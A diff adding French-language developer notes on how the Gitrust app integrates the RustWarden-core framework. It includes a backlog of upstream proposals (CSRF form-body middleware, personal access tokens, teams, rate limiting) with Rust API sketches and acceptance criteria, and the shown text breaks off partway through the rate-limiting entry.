@@ -0,0 +1,711 @@
| 1 | +# Notes sur l'utilisation de RustWarden-core dans Gitrust | |
| 2 | + | |
| 3 | +Ce fichier documente les interactions entre Gitrust et le framework RustWarden-core. | |
| 4 | + | |
| 5 | +## Services framework utilises | |
| 6 | + | |
| 7 | +| Service | Usage dans Gitrust | | |
| 8 | +|---------|-------------------| | |
| 9 | +| `UserService` | CRUD users, roles, `delete_user`, `admin_reset_password`, `change_password_direct`, `unassign_role_from_user` | | |
| 10 | +| `RoleService` | Liste/creation/suppression roles, `get_role_by_name` | | |
| 11 | +| `PasswordService` | `hash_password` (async), `verify_password` (async), `generate_secure_password` | | |
| 12 | +| `ResourceService` | `register`/`unregister` repos, `set_public`, `effective_permission`, `find_by_type_and_id` | | |
| 13 | +| `AuthService` | `authenticate_user` (login) | | |
| 14 | +| `JwtService` | `generate_token` (login) | | |
| 15 | +| `EmailValidationService` | Verification email | | |
| 16 | +| `PasswordResetService` | Flux "mot de passe oublie" | | |
| 17 | +| `AppSettingsService` | `get_bool` pour `registration_enabled` | | |
| 18 | + | |
| 19 | +## Hook `on_user_deleted` implemente | |
| 20 | + | |
| 21 | +Le hook `on_user_deleted` dans `gitrust-hooks` supprime le repertoire utilisateur sur le filesystem (`repos_base_path/username/`) avant la cascade DB. Appele automatiquement par `UserService::delete_user`. | |
| 22 | + | |
| 23 | +## Aucun contournement en cours | |
| 24 | + | |
| 25 | +Tous les anciens contournements (entity directes, hash manuels) ont ete remplaces par les services du framework suite a la mise a jour du 2026-03-26. | |
| 26 | + | |
| 27 | +--- | |
| 28 | + | |
| 29 | +## Propositions d'amelioration framework (backlog upstream) | |
| 30 | + | |
| 31 | +Cette section liste les limitations observees cote gitrust lors de l'integration et les ameliorations qui benificieraient a toutes les apps batissant sur rustwarden-core. Chaque entree decrit : le contexte, la limitation actuelle, le workaround cote gitrust (temporaire) et la(les) proposition(s) a soumettre upstream. | |
| 32 | + | |
| 33 | +### ~~1. Middleware CSRF incompatible avec les formulaires SSR `application/x-www-form-urlencoded`~~ — RESOLU 2026-04-22 | |
| 34 | + | |
| 35 | +**Status** : Implemente en Phase 2.1 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 36 | + | |
| 37 | +Proposition A retenue : | |
| 38 | +- Nouveau [`CsrfProtectionConfig`](../crates/rustwarden-core/src/middleware/csrf.rs) avec `accept_form_body: bool` + `max_form_body_bytes: usize` (default 1 MiB). | |
| 39 | +- Nouveau middleware [`csrf_protection_with_config`](../crates/rustwarden-core/src/middleware/csrf.rs) qui buffer le body url-encoded, extrait `csrf_token`, valide constant-time, reconstruit le body. | |
| 40 | +- Helper public bonus [`extract_csrf_from_form(body: &[u8])`](../crates/rustwarden-core/src/middleware/csrf.rs) (proposition B). | |
| 41 | +- Multipart skip, body > cap → 413, 11 tests TDD. | |
| 42 | +- `csrf_protection` existante inchangee (backwards-compat). | |
| 43 | + | |
| 44 | +--- | |
| 45 | + | |
| 46 | +### 1bis. Details historiques (avant resolution) | |
| 47 | + | |
| 48 | +**Date de detection** : 2026-04-21 (iteration CSRF admin ssh-guard). | |
| 49 | + | |
| 50 | +**Contexte** : Gitrust est une app SSR pure — pas de JavaScript global, pas de fetch interceptor qui injecterait automatiquement un header `X-CSRF-Token`. Tous les formulaires POST envoient leur token via un champ cache `<input type="hidden" name="csrf_token" value="{{ layout.csrf_token }}">` dans un body `application/x-www-form-urlencoded`. | |
| 51 | + | |
| 52 | +**Limitation du framework** : le middleware [`csrf_protection`](../crates/rustwarden-core/src/middleware/csrf.rs) ne lit que le header `X-CSRF-Token` — il ne parse pas le body. Le commentaire dans le code ([csrf.rs:81-83](../crates/rustwarden-core/src/middleware/csrf.rs#L81)) l'indique explicitement : | |
| 53 | + | |
| 54 | +```rust | |
| 55 | +// For form data, we would need to parse the body | |
| 56 | +// This is handled in handlers that process form data | |
| 57 | +``` | |
| 58 | + | |
| 59 | +Consequence : appliquer `csrf_protection` comme layer axum sur un routeur qui sert des formulaires SSR fait systematiquement renvoyer `403 CSRF token required` — le middleware ne voit jamais le token qui est pourtant dans le body. Les apps SSR sont forcees de : | |
| 60 | +- soit implementer leur propre middleware buffer-body (duplication + risque d'incoherence), | |
| 61 | +- soit appeler `validate_csrf_token` manuellement dans chaque handler POST (invasion de boilerplate). | |
| 62 | + | |
| 63 | +**Workaround actuel cote gitrust** : middleware [`admin_csrf_protection`](../crates/gitrust-web/src/middleware.rs) qui : | |
| 64 | +1. Accepte les methodes safe (`GET`/`HEAD`/`OPTIONS`) sans verification. | |
| 65 | +2. Skip les requetes `Authorization: Bearer` (API JWT non vulnerable). | |
| 66 | +3. Essaie d'abord le header `X-CSRF-Token` (compat future avec HTMX/fetch). | |
| 67 | +4. A defaut, bufferise le body (cap 1 MiB), extrait `csrf_token=...` via parsing URL-encoded, valide via `rustwarden_core::middleware::csrf::validate_csrf_token`, reconstruit le body avec `Body::from(bytes)` pour que le handler downstream puisse re-decoder sa struct `Form<T>`. | |
| 68 | + | |
| 69 | +Ce middleware est **duplicat de logique framework** : il reimplemente la detection bearer, le skip des methodes safe, et le flow de validation. Toute evolution du framework (nouveau type d'auth, changement de flow CSRF) necessite une mise a jour synchronisee cote gitrust. | |
| 70 | + | |
| 71 | +**Propositions d'amelioration** (par ordre de preference) : | |
| 72 | + | |
| 73 | +#### Proposition A — Extension de `csrf_protection` avec option `accept_form_body` | |
| 74 | + | |
| 75 | +Ajouter un parametre optionnel au middleware pour activer la lecture du body : | |
| 76 | + | |
| 77 | +```rust | |
| 78 | +// Nouveau dans rustwarden_core::middleware::csrf | |
| 79 | +pub struct CsrfProtectionConfig { | |
| 80 | + /// Si true, lit le champ `csrf_token` du body form-urlencoded | |
| 81 | + /// quand le header `X-CSRF-Token` est absent. Bufferise le body | |
| 82 | + /// en RAM (attention aux uploads multipart — ignores). | |
| 83 | + /// Defaut : false (compatibilite avec le comportement existant). | |
| 84 | + pub accept_form_body: bool, | |
| 85 | + /// Taille max du body bufferise. Defaut : 1 MiB. | |
| 86 | + pub max_form_body_bytes: usize, | |
| 87 | +} | |
| 88 | + | |
| 89 | +impl Default for CsrfProtectionConfig { | |
| 90 | + fn default() -> Self { | |
| 91 | + Self { | |
| 92 | + accept_form_body: false, | |
| 93 | + max_form_body_bytes: 1024 * 1024, | |
| 94 | + } | |
| 95 | + } | |
| 96 | +} | |
| 97 | + | |
| 98 | +/// Nouveau constructeur pour apps SSR. | |
| 99 | +pub async fn csrf_protection_with_config( | |
| 100 | + State((db, cfg)): State<(DatabaseConnection, Arc<CsrfProtectionConfig>)>, | |
| 101 | + session: Session, | |
| 102 | + uri: Uri, | |
| 103 | + request: Request, | |
| 104 | + next: Next, | |
| 105 | +) -> Result<Response, AppError> { | |
| 106 | + // ... flow existant + branche buffer-body si cfg.accept_form_body | |
| 107 | +} | |
| 108 | +``` | |
| 109 | + | |
| 110 | +**Pros** : change pas l'API existante (backwards-compatible), offre directement la feature aux apps SSR, centralise la logique dans le framework. | |
| 111 | +**Cons** : ajoute de la complexite (buffer-body logic dans le framework), risque edge-cases (multipart/form-data, content-type personnalise, body stream non-buffered). | |
| 112 | + | |
| 113 | +#### Proposition B — Helper `extract_csrf_from_form(body: &[u8]) -> Option<String>` | |
| 114 | + | |
| 115 | +Exporter la logique de parsing en helper public pour que les apps SSR l'utilisent dans leur propre middleware : | |
| 116 | + | |
| 117 | +```rust | |
| 118 | +// Nouveau dans rustwarden_core::middleware::csrf | |
| 119 | +/// Extrait le champ `csrf_token` d'un body `application/x-www-form-urlencoded` | |
| 120 | +/// URL-encode. Retourne `None` si le champ est absent ou le body malforme. | |
| 121 | +pub fn extract_csrf_from_form(body: &[u8]) -> Option<String> { ... } | |
| 122 | +``` | |
| 123 | + | |
| 124 | +**Pros** : intervention minimale, pas de changement de signature middleware, bibliotheque de petites briques. | |
| 125 | +**Cons** : chaque app SSR doit quand meme ecrire son middleware complet ; duplication reste partielle. | |
| 126 | + | |
| 127 | +#### Proposition C — Feature flag `ssr-forms` qui ajoute un middleware dedie | |
| 128 | + | |
| 129 | +```rust | |
| 130 | +// Dans rustwarden_core (derriere feature = "ssr-forms") | |
| 131 | +pub async fn csrf_protection_ssr( | |
| 132 | + State(db): State<DatabaseConnection>, | |
| 133 | + session: Session, | |
| 134 | + uri: Uri, | |
| 135 | + request: Request, | |
| 136 | + next: Next, | |
| 137 | +) -> Result<Response, AppError> { | |
| 138 | + // Flow complet avec buffer-body + validation | |
| 139 | +} | |
| 140 | +``` | |
| 141 | + | |
| 142 | +**Pros** : isole la logique SSR derriere une feature (pas de overhead pour les apps API-only), nom explicite. | |
| 143 | +**Cons** : eclate l'API CSRF en deux (risque de confusion pour les devs), impose aux apps SSR d'activer la feature. | |
| 144 | + | |
| 145 | +**Recommendation** : proposition A (`accept_form_body` en config). C'est la moins invasive du point de vue de l'API, elle garde le comportement par defaut intact, et elle deplace la complexite buffer-body dans le framework ou elle est testable de facon centralisee. | |
| 146 | + | |
| 147 | +**Criteres d'acceptation** pour le PR upstream : | |
| 148 | +- [ ] `csrf_protection` existante continue de fonctionner sans changement (backwards-compat). | |
| 149 | +- [ ] Nouveau helper `csrf_protection_with_config` disponible avec `accept_form_body: true`. | |
| 150 | +- [ ] Gere proprement `application/x-www-form-urlencoded` : buffer → parse → reconstruct body. | |
| 151 | +- [ ] Refuse `multipart/form-data` avec 415 ou skip (trop risque a bufferiser). | |
| 152 | +- [ ] Respecte `max_form_body_bytes` et renvoie 413 sur depassement. | |
| 153 | +- [ ] Tests unitaires : (a) token en header valide, (b) token en form body valide, (c) header absent + form body absent → 403, (d) mismatch → 403, (e) body > cap → 413. | |
| 154 | +- [ ] Doc inline precisant la trade-off buffer vs streaming. | |
| 155 | + | |
| 156 | +**Migration cote gitrust apres merge upstream** : | |
| 157 | +1. Bump version rustwarden-core dans `Cargo.toml`. | |
| 158 | +2. Supprimer [`admin_csrf_protection`](../crates/gitrust-web/src/middleware.rs) et ses tests. | |
| 159 | +3. Remplacer `.layer(axum::middleware::from_fn(admin_csrf_protection))` par `.layer(axum::middleware::from_fn_with_state((db, Arc::new(CsrfProtectionConfig { accept_form_body: true, ..Default::default() })), csrf_protection_with_config))`. | |
| 160 | +4. Supprimer cette section du fichier (ou la deplacer dans `CHANGELOG.md` comme "resolu"). | |
| 161 | + | |
| 162 | +### ~~2. `LayoutContext::new(title, csrf_token)` impose le token en second argument~~ — RESOLU 2026-04-22 | |
| 163 | + | |
| 164 | +**Status** : Implemente en Phase 1.1 du plan d'evolution. | |
| 165 | + | |
| 166 | +Nouveau [`LayoutContext::from_session(session, title)`](../crates/rustwarden-core/src/templates/mod.rs) async qui fetch le token via `get_or_create_csrf_token` avec fallback log+empty sur erreur. Signature existante `new()` inchangee. | |
| 167 | + | |
| 168 | +--- | |
| 169 | + | |
| 170 | +### 2bis. Details historiques (avant resolution) | |
| 171 | + | |
| 172 | +**Contexte** : chaque handler qui rend un template doit fetcher manuellement le token et le passer a `LayoutContext::new`. 27+ occurrences de `LayoutContext::new(title, "")` dans gitrust-web passent un token vide, ce qui casse silencieusement le CSRF cote client. | |
| 173 | + | |
| 174 | +**Limitation** : la signature de [`LayoutContext::new(title: &str, csrf_token: &str)`](../crates/rustwarden-core/src/templates.rs) traite le token comme un parametre obligatoire sans possibilite de remplissage automatique. Il n'existe pas de helper `LayoutContext::from_session(session, title)` ou `LayoutContext::builder().title(...).finish_async(&session)`. | |
| 175 | + | |
| 176 | +**Proposition** : ajouter un constructeur async qui fait le fetch du token : | |
| 177 | + | |
| 178 | +```rust | |
| 179 | +impl LayoutContext { | |
| 180 | + /// Version async qui peuple `csrf_token` depuis la session tower-sessions. | |
| 181 | + /// Fallback silencieux sur `""` si la session est indisponible (log warn). | |
| 182 | + pub async fn from_session(session: &tower_sessions::Session, title: &str) -> Self { | |
| 183 | + let token = rustwarden_core::middleware::csrf::get_or_create_csrf_token(session) | |
| 184 | + .await | |
| 185 | + .unwrap_or_default(); | |
| 186 | + Self::new(title, &token) | |
| 187 | + } | |
| 188 | +} | |
| 189 | +``` | |
| 190 | + | |
| 191 | +**Pros** : reduit le boilerplate par handler, empeche le pattern "`LayoutContext::new(title, "")`" qui echappe aux revues. | |
| 192 | +**Cons** : nouvelle dependance entre `templates` et `middleware::csrf` (cross-module). Alternative : placer le helper dans `crate::middleware::csrf` plutot que dans `templates`. | |
| 193 | + | |
| 194 | +**Criteres d'acceptation** : | |
| 195 | +- [ ] Pas de changement de signature sur `LayoutContext::new` (backwards-compat). | |
| 196 | +- [ ] Nouveau `from_session` disponible, teste avec une session mock. | |
| 197 | +- [ ] Doc inline avec exemple de handler qui l'utilise. | |
| 198 | + | |
| 199 | +**Migration cote gitrust apres merge** : | |
| 200 | +1. Remplacer tous les `LayoutContext::new(title, &csrf_token)` par `LayoutContext::from_session(&session, title).await`. | |
| 201 | +2. Retirer les appels `get_or_create_csrf_token` qui etaient inlines avant. | |
| 202 | + | |
| 203 | +### ~~3. `csrf_protection_impl` redondant avec `csrf_protection`~~ — RESOLU 2026-04-22 | |
| 204 | + | |
| 205 | +**Status** : Implemente en Phase 1.2 du plan d'evolution. | |
| 206 | + | |
| 207 | +Factorise via la fonction interne `csrf_check` + enum `CsrfOutcome`. Les deux publics (`csrf_protection`, `csrf_protection_impl`, plus le nouveau `csrf_protection_with_config`) deviennent des wrappers minces (3-4 lignes chacun). ~80 lignes de duplication supprimees. | |
| 208 | + | |
| 209 | +--- | |
| 210 | + | |
| 211 | +### 3bis. Details historiques (avant resolution) | |
| 212 | + | |
| 213 | +**Contexte** : le framework expose deux middlewares quasi-identiques ([csrf.rs:123](../crates/rustwarden-core/src/middleware/csrf.rs#L123) et [csrf.rs:175](../crates/rustwarden-core/src/middleware/csrf.rs#L175)). Seule difference : `csrf_protection_impl` prend `db` par reference au lieu de passer par `State<DatabaseConnection>`. | |
| 214 | + | |
| 215 | +**Proposition** : deduplication via une fonction interne commune + 2 wrappers : | |
| 216 | +```rust | |
| 217 | +async fn csrf_protection_inner(session: &Session, request: &Request) -> Result<Option<Response>, AppError> { ... } | |
| 218 | +pub async fn csrf_protection(State(_db), session, uri, request, next) -> Result<Response, AppError> { ... } | |
| 219 | +pub async fn csrf_protection_impl(_db, session, uri, request, next) -> Result<Response, AppError> { ... } | |
| 220 | +``` | |
| 221 | + | |
| 222 | +**Priorite** : basse (DRY seulement, pas de bug). | |
| 223 | + | |
| 224 | +### ~~4. Pas de service Personal Access Tokens (PAT)~~ — RESOLU 2026-04-23 | |
| 225 | + | |
| 226 | +**Status** : Implemente dans Phase 4 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 227 | + | |
| 228 | +Livre : | |
| 229 | +- Migration [`m20260422_000007_create_personal_access_tokens`](../crates/rustwarden-core/migrations/src/m20260422_000007_create_personal_access_tokens.rs) (table + indexes unique `(user_id, name)`, `token_hash`, `expires_at`). | |
| 230 | +- Entity SeaORM [`personal_access_token::Model`](../crates/rustwarden-core/src/models/personal_access_token.rs) avec helpers `is_expired`, `is_revoked`, `is_active`. | |
| 231 | +- Service generique [`PersonalTokenService<S: TokenScope>`](../crates/rustwarden-core/src/services/personal_token_service.rs) : `create`, `verify`, `list_for_user`, `revoke`, `cleanup_expired`. Hash SHA-256 constant-time, `last_used_at` best-effort, revoke idempotent + ownership check. | |
| 232 | +- Background cleanup task [`PersonalTokenCleanupProcessor<S>`](../crates/rustwarden-core/src/tasks/personal_token_cleanup.rs) (config `PERSONAL_TOKEN_CLEANUP_INTERVAL_SECS`, default 3600s). | |
| 233 | +- Prelude exporte `PersonalTokenService` et `TokenScope`. | |
| 234 | +- 15 tests (5 entity + 10 integration DB). | |
| 235 | + | |
| 236 | +--- | |
| 237 | + | |
| 238 | +### 4bis. Details historiques (avant resolution) | |
| 239 | + | |
| 240 | +**Date de detection** : 2026-04-21 (inventaire dette technique — LOT 11). | |
| 241 | + | |
| 242 | +**Contexte** : gitrust a besoin d'une auth API long terme pour `git clone/push` via HTTPS (Smart HTTP — LOT 10). Le workflow est : l'utilisateur genere un token depuis l'UI, le colle dans `git config` ou dans l'URL `https://user:token@host/repo.git`, et le client Git le renvoie identique a chaque appel. | |
| 243 | + | |
| 244 | +**Limitation du framework** : [`RefreshTokenService`](../crates/rustwarden-core/src/services/refresh_token_service.rs) gere uniquement la rotation JWT (un usage = un nouveau token, detection de reuse, plafond `MAX_ACTIVE_TOKENS_PER_USER=10`). Ce modele est **incompatible** avec un PAT statique : `git push` ne peut pas "tourner" le token entre deux invocations. Aucun service ne couvre : | |
| 245 | +- Token SHA-256 en base, verifie a chaque appel (pas de rotation). | |
| 246 | +- Scopes structures (`read:repo`, `write:repo`, `admin:repo`). | |
| 247 | +- `last_used_at` pour UX et nettoyage. | |
| 248 | +- Expiration optionnelle (`expires_at NULL` = token permanent). | |
| 249 | + | |
| 250 | +**Workaround actuel cote gitrust** : non demarre — LOT 11 attend la decision. Piste pretraitee : | |
| 251 | +- Migration `personal_access_tokens` (id, user_id, name, token_hash, scopes text[], expires_at, last_used_at, created_at). | |
| 252 | +- Service `gitrust-core/src/services/personal_token_service.rs` calque sur `RefreshTokenService` (hash SHA-256, cleanup tache de fond). | |
| 253 | +- Reutiliser `TokenHash` (Zeroize) deja present dans `gitrust-core/src/types.rs`. | |
| 254 | +- Extension de `AuthUser` : extractor gitrust local qui tente `Authorization: Bearer <jwt>` (framework) puis `Authorization: Bearer gtr_<pat>` (gitrust). | |
| 255 | + | |
| 256 | +**Proposition upstream** : `PersonalTokenService<S: TokenScope>` generique avec trait de scope parametrable par consommateur. | |
| 257 | + | |
| 258 | +```rust | |
| 259 | +pub trait TokenScope: Sized + Clone + Send + Sync + 'static { | |
| 260 | + fn as_str(&self) -> &str; | |
| 261 | + fn parse(s: &str) -> Option<Self>; | |
| 262 | +} | |
| 263 | + | |
| 264 | +pub struct PersonalTokenService<S: TokenScope> { _phantom: PhantomData<S> } | |
| 265 | + | |
| 266 | +impl<S: TokenScope> PersonalTokenService<S> { | |
| 267 | + pub async fn create(db, user_id, name, scopes: Vec<S>, expires_at) -> Result<(PatRecord, String /*clair*/)>; | |
| 268 | + pub async fn verify(db, token_clear: &str) -> Result<(PatRecord, Vec<S>)>; | |
| 269 | + pub async fn list_for_user(db, user_id) -> Result<Vec<PatRecord>>; | |
| 270 | + pub async fn revoke(db, token_id, user_id) -> Result<()>; | |
| 271 | + pub async fn cleanup_expired(db) -> Result<u64>; | |
| 272 | +} | |
| 273 | +``` | |
| 274 | + | |
| 275 | +Gitrust instancierait `PersonalTokenService<RepoScope>`, PasterMan `PersonalTokenService<WallScope>`. | |
| 276 | + | |
| 277 | +**Pros** : couvre tous les apps qui veulent une auth API statique. Mutualise le hash/scopes/cleanup. Prefix de token (`gtr_`, `ptm_`) reste au choix de l'app. | |
| 278 | +**Cons** : trait `TokenScope` impose un vocabulaire partage. Alternative : scopes en `Vec<String>` et validation cote app (moins type-safe). | |
| 279 | + | |
| 280 | +**Criteres d'acceptation** : | |
| 281 | +- [ ] Migration generique `personal_access_tokens` ajoutable au migrator de l'app. | |
| 282 | +- [ ] Hash SHA-256 en base, token clair jamais stocke. | |
| 283 | +- [ ] API `create`/`verify`/`list`/`revoke`/`cleanup_expired`. | |
| 284 | +- [ ] Tests : creation + verify ok, scope mismatch, token expire, revoke idempotent. | |
| 285 | +- [ ] Documentation du pattern d'extension `AuthUser` cote consommateur (tentative JWT puis PAT). | |
| 286 | + | |
| 287 | +**Migration cote gitrust apres merge** : | |
| 288 | +1. Bump `rustwarden-core`. | |
| 289 | +2. Remplacer `personal_token_service` local par `PersonalTokenService<RepoScope>`. | |
| 290 | +3. Garder le prefix `gtr_` et l'extractor d'auth gitrust (specifique au protocole Smart HTTP). | |
| 291 | + | |
| 292 | +### ~~5. Pas de TeamService (groupes d'utilisateurs)~~ — RESOLU 2026-04-23 | |
| 293 | + | |
| 294 | +**Status** : Implemente en Phase 5 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 295 | + | |
| 296 | +Livre : | |
| 297 | +- Migration [`m20260423_000008_create_teams`](../crates/rustwarden-core/migrations/src/m20260423_000008_create_teams.rs) : tables `teams` + `team_members` (composite PK), evolution `resource_shares` avec `shared_with_team_id` + CHECK constraint (exactement un de `user_id`/`team_id` non-null) + partial unique indexes par principal. | |
| 298 | +- Value object [`TeamSlug`](../crates/rustwarden-core/src/types/team_slug.rs) : `[a-z0-9-]{1,64}`, no leading/trailing `-`, 15 reserved names. 8 tests. | |
| 299 | +- [`TeamService`](../crates/rustwarden-core/src/services/team_service.rs) : `create`, `find_by_id/slug`, `add_member` (idempotent + role update), `remove_member` (refuse de supprimer l'owner), `list_members`, `teams_of_user`, `team_ids_of_user`, `delete`. Hooks `on_team_*` cables. 8 integration tests. | |
| 300 | +- [`ResourceService::Principal`](../crates/rustwarden-core/src/services/resource_service.rs) enum (`User | Team`) + `share_with` + `effective_permission_for_user` qui calcule `max(direct_user_share, max(team_shares))`. Legacy `share()` conserve comme wrapper. 6 integration tests couvrant : user-principal backwards-compat, owner share refuse, team grant a tous membres, max cross user+teams, remove from team drop access, idempotent team upsert. | |
| 301 | +- Prelude exporte `Principal`, `TeamService`, `TeamRole`, `TeamSlug`. | |
| 302 | + | |
| 303 | +Total : 22 tests nouveaux sur DB reelle, 0 regression. | |
| 304 | + | |
| 305 | +--- | |
| 306 | + | |
| 307 | +### 5bis. Details historiques (avant resolution) | |
| 308 | + | |
| 309 | +**Date de detection** : 2026-04-21 (inventaire dette technique — LOT 14). | |
| 310 | + | |
| 311 | +**Contexte** : gitrust veut permettre le partage d'un repo a une **equipe** (ex. `@backend`), pas seulement a des utilisateurs individuels. C'est une attente standard (GitHub, GitLab, Forgejo). PasterMan a le meme besoin pour partager des walls a une equipe. | |
| 312 | + | |
| 313 | +**Limitation du framework** : rustwarden-core n'expose que : | |
| 314 | +- Des **roles globaux** (`admin`, `user`, `app_manager`) via `RoleService`. | |
| 315 | +- Un **partage 1-to-1** (`ResourceService::share(user_id, permission)`). | |
| 316 | + | |
| 317 | +**Aucune notion de team/groupe.** La section gitrust de [CLAUDE.md](../CLAUDE.md) mentionnait "teams upstream" : c'etait une supposition incorrecte, a corriger. | |
| 318 | + | |
| 319 | +**Workaround actuel cote gitrust** : non demarre — LOT 14 attend la decision. Piste pretraitee : | |
| 320 | +- Migrations `teams` (slug, name, owner_id, created_at) + `team_members` (team_id, user_id, role, joined_at). | |
| 321 | +- Service `gitrust-core/src/services/team_service.rs` (CRUD + membership + validation slug via `TeamSlug` deja present). | |
| 322 | +- Bridge `ResourceService` : partage d'un repo a une team = expansion en partages individuels au moment du check ACL, OU extension `ResourceService::share(shared_with_id, shared_with_type: "user" | "team")`. | |
| 323 | + | |
| 324 | +**Proposition upstream** : `TeamService` generique + evolution de `ResourceService::share` pour accepter `shared_with_type`. | |
| 325 | + | |
| 326 | +```rust | |
| 327 | +pub struct TeamService; | |
| 328 | + | |
| 329 | +impl TeamService { | |
| 330 | + pub async fn create(db, owner_id, slug, name) -> Result<TeamRecord>; | |
| 331 | + pub async fn add_member(db, team_id, user_id, role: TeamRole) -> Result<()>; | |
| 332 | + pub async fn remove_member(db, team_id, user_id) -> Result<()>; | |
| 333 | + pub async fn list_members(db, team_id) -> Result<Vec<(UserRecord, TeamRole)>>; | |
| 334 | + pub async fn teams_of_user(db, user_id) -> Result<Vec<TeamRecord>>; | |
| 335 | + pub async fn delete(db, team_id, hooks: &Arc<dyn RustwardenHooks>) -> Result<()>; | |
| 336 | +} | |
| 337 | + | |
| 338 | +// Evolution de ResourceService | |
| 339 | +pub enum Principal { User(Uuid), Team(Uuid) } | |
| 340 | +impl ResourceService { | |
| 341 | + pub async fn share_with(db, resource_type, resource_id, principal: Principal, permission) -> Result<()>; | |
| 342 | + pub async fn effective_permission_for_user(db, resource_type, resource_id, user_id) -> Result<Option<Permission>>; | |
| 343 | + // Calcule max(perm_direct, max(perm_via_teams)) | |
| 344 | +} | |
| 345 | +``` | |
| 346 | + | |
| 347 | +**Pros** : pattern reutilisable (gitrust, PasterMan). La resolution `effective_permission_for_user` encapsule la logique d'expansion (transparente pour le consommateur). Hooks `on_team_created/deleted/member_added/removed` a ajouter pour les consommateurs qui veulent un audit. | |
| 348 | +**Cons** : touche a `ResourceService` (service central) — risque de regression. Besoin de tests de charge (expansion team peut balayer N utilisateurs a chaque check ACL — prevoir cache ou requete SQL join). | |
| 349 | + | |
| 350 | +**Criteres d'acceptation** : | |
| 351 | +- [ ] Migration `teams` + `team_members` ajoutable au migrator. | |
| 352 | +- [ ] `TeamSlug` (reserved names, lowercase, 1-64 chars) — peut reutiliser le pattern gitrust. | |
| 353 | +- [ ] `ResourceService::effective_permission_for_user` prend en compte memberships (test dedie). | |
| 354 | +- [ ] Hooks `on_team_*` ajoutes a `RustwardenHooks` (cf. gap-7 ci-dessous). | |
| 355 | +- [ ] Suppression d'une team : cascade sur `team_members` + revocation des shares `Team(id)`. | |
| 356 | +- [ ] Tests : user membre de 2 teams avec permissions differentes → max l'emporte. User retire d'une team perd l'acces au repo si c'etait sa seule source. | |
| 357 | + | |
| 358 | +**Migration cote gitrust apres merge** : | |
| 359 | +1. Bump `rustwarden-core`. | |
| 360 | +2. Corriger [CLAUDE.md](../CLAUDE.md) section "Roles" — referencer `TeamService` framework. | |
| 361 | +3. Ajouter UI `/teams` + templates. | |
| 362 | +4. Etendre `RepositoryService` pour appeler `ResourceService::share_with(Principal::Team(team_id))`. | |
| 363 | + | |
| 364 | +### ~~6. Pas de RateLimitService generique expose~~ — RESOLU 2026-04-22 | |
| 365 | + | |
| 366 | +**Status** : Implemente en Phase 2.3 du plan d'evolution. | |
| 367 | + | |
| 368 | +Livre : | |
| 369 | +- [`RateLimitService`](../crates/rustwarden-core/src/services/rate_limit_service.rs) generique : `check`, `check_window` (fixed), `check_sliding_window` (strict), `cleanup_loop`. | |
| 370 | +- [`AppError::TooManyRequests { retry_after_secs }`](../crates/rustwarden-core/src/error.rs) → HTTP 429 + `Retry-After` header + body JSON. | |
| 371 | +- 5 call-sites internes dedupliques : `AuthRateLimiter` + `PublicShareRateLimiter` (rate_limit middleware) + password_change + password_reset + email_validation services — tous migrent vers `RateLimitService` avec prefixes de cle (`auth:{ip}`, `share:{ip}`, `pwd_change:{user_id}`, etc.). | |
| 372 | +- Bonus : race TOCTOU elimine (check+record atomique), `oauth_handlers` renvoie desormais 429 au lieu d'un faux 400. | |
| 373 | + | |
| 374 | +--- | |
| 375 | + | |
| 376 | +### 6bis. Details historiques (avant resolution) | |
| 377 | + | |
| 378 | +**Date de detection** : 2026-04-21 (inventaire dette technique — plan `import-preview-rate-limit.md`). | |
| 379 | + | |
| 380 | +**Contexte** : gitrust doit rate-limiter les endpoints d'import (`GET /import/preview`, `POST /import`) avec des cles arbitraires et un TTL configurable par env var (`RATE_LIMIT_IMPORT_PREVIEW_PER_MINUTE=120`). Le meme besoin revient pour tout endpoint critique (future API PAT, webhook receive-pack, etc.). | |
| 381 | + | |
| 382 | +**Limitation du framework** : les rate limiters existants ([password_change_service](../crates/rustwarden-core/src/services/password_change_service.rs), [password_reset_service](../crates/rustwarden-core/src/services/password_reset_service.rs), [email_validation_service](../crates/rustwarden-core/src/services/email_validation_service.rs)) sont : | |
| 383 | +- **Internes** a chaque service, non reutilisables. | |
| 384 | +- **Cles hardcodees** (`user_id`, `email`) — impossible de passer une cle arbitraire. | |
| 385 | +- Pas d'API publique `RateLimitService::check(key, per_minute)`. | |
| 386 | + | |
| 387 | +Resultat : chaque app reinvente son rate limiter (gitrust l'a deja fait pour la login dans Phase 4 via `check_auth_rate_limit`, c'est un bon exemple mais specifique login). | |
| 388 | + | |
| 389 | +**Workaround actuel cote gitrust** : non demarre pour l'import (plan `import-preview-rate-limit.md` en attente). Piste pretraitee : | |
| 390 | +- Module `gitrust-core/src/rate_limit.rs` : rate limiter in-process (DashMap<String, WindowCounter>) avec fenetre glissante. | |
| 391 | +- Signature : `check_rate_limit(key: &str, per_minute: u32) -> Result<(), AppError::TooManyRequests>`. | |
| 392 | +- Pas de persistence (reset au restart acceptable pour ce scope). | |
| 393 | + | |
| 394 | +**Proposition upstream** : extraire un `RateLimitService` public generique. Refactor des 3 rate limiters existants pour l'utiliser (dog-fooding). | |
| 395 | + | |
| 396 | +```rust | |
| 397 | +pub struct RateLimitService { | |
| 398 | + buckets: Arc<DashMap<String, WindowCounter>>, | |
| 399 | +} | |
| 400 | + | |
| 401 | +impl RateLimitService { | |
| 402 | + pub fn new() -> Self; | |
| 403 | + | |
| 404 | + /// Verifie et incremente. Renvoie Err(TooManyRequests) si depassement. | |
| 405 | + pub fn check(&self, key: &str, max_per_minute: u32) -> Result<(), AppError>; | |
| 406 | + | |
| 407 | + /// Variante avec fenetre custom (ex. 1h pour reset password). | |
| 408 | + pub fn check_window(&self, key: &str, max: u32, window: Duration) -> Result<(), AppError>; | |
| 409 | + | |
| 410 | + /// Purge periodique des buckets expires (tache de fond). | |
| 411 | + pub async fn cleanup_loop(&self, interval: Duration); | |
| 412 | +} | |
| 413 | +``` | |
| 414 | + | |
| 415 | +Ajouter `AppError::TooManyRequests { retry_after_secs: u64 }` mappe sur HTTP 429 avec header `Retry-After`. | |
| 416 | + | |
| 417 | +**Pros** : mutualise 3 impls existantes. API generique servable a tout consommateur. `AppError::TooManyRequests` standardise la reponse 429 (absent aujourd'hui dans `AppError`). | |
